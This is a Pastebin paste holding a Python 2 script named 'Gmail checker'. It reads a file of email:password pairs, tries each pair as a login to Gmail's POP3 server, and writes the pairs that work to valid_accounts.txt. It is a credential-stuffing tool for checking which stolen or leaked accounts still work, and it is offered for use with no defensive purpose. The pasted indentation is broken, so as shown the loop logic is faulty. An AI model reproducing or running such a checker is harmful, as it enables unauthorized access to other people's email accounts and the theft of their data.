Advertisement
Hector_G

Gmail checker

Feb 15th, 2017
2,813
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.73 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. # Gmail Scanner
  4. # Newkidz@rocketmail.com
  5. # Jangan Di Jual Lagi Yah ^^
  6.  
  7. import sys, poplib
  8.  
  9. def printHelp():
  10.     print '\n  Usage: ./gmailcheck.py <emaillist>'
  11.     print 'Example: ./gmailcheck.py emails.txt'
  12.     print '\n  Note: The accounts must be in the following format: user@gmail.com:password\n'
  13.  
  14.  
  15.     print '''
  16. \t||===\\ //==\\
  17. \t|| || | |
  18. \t|| || ||
  19. \t||___// ||____
  20. \t Scanner
  21. \t Newkidz@rocketmail.com
  22.    '''
  23.  
  24. if len(sys.argv) != 2:
  25.     printHelp()
  26.     exit(1)
  27.  
  28. #Change these if needed.
  29. SAVEFILE = 'valid_accounts.txt'
  30. HOST = 'pop.gmail.com'
  31. PORT = 995
  32.  
  33. # Do not change anything below.
  34. maillist = sys.argv[1]
  35. valid = []
  36. currline = 0
  37.  
  38. try:
  39.     handle = open(maillist)
  40. except:
  41.     print '\n[-] Could not open the accounts file. Check the file path and try again.'
  42.     print '\n[-] Quitting ...'
  43.     exit(1)
  44.  
  45. for line in handle:
  46.     currline += 1
  47.  
  48. try:
  49.     email = line.split(':')[0]
  50.     password = line.split(':')[1].replace('\n', '')
  51. except:
  52.     print '\n[-] Kesalahan format line %d.' % currline
  53.     print '[!] Format Harus Seperti Ini : user@gmail.com:password'
  54.     print '\n[-] Quitting ...'
  55.     exit(1)
  56.  
  57. try:
  58.     pop = poplib.POP3_SSL(HOST, PORT)
  59.     pop.user(email)
  60.     pop.pass_(password)
  61.     valid.append(email + ':' + password)
  62.     print '[+] Checking: %s <%s> -> Valid!' % (email, password)
  63.     pop.quit()
  64. except:
  65.     print '[+] Checking: %s <%s> -> Invalid!' % (email, password)
  66.     pass
  67.  
  68. handle.close()
  69. print '\n[+] Total Valid: %s' % len(valid)
  70.  
  71. if len(valid) > 0:
  72.     save = open(SAVEFILE, 'a')
  73.  
  74. for email in valid:
  75.     save.write(email + '\n')
  76.  
  77. save.close()
  78.  
  79. print '[+] The valid accounts are saved in "%s".' % SAVEFILE
  80.  
  81. print '\n[+] Done.\n'
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement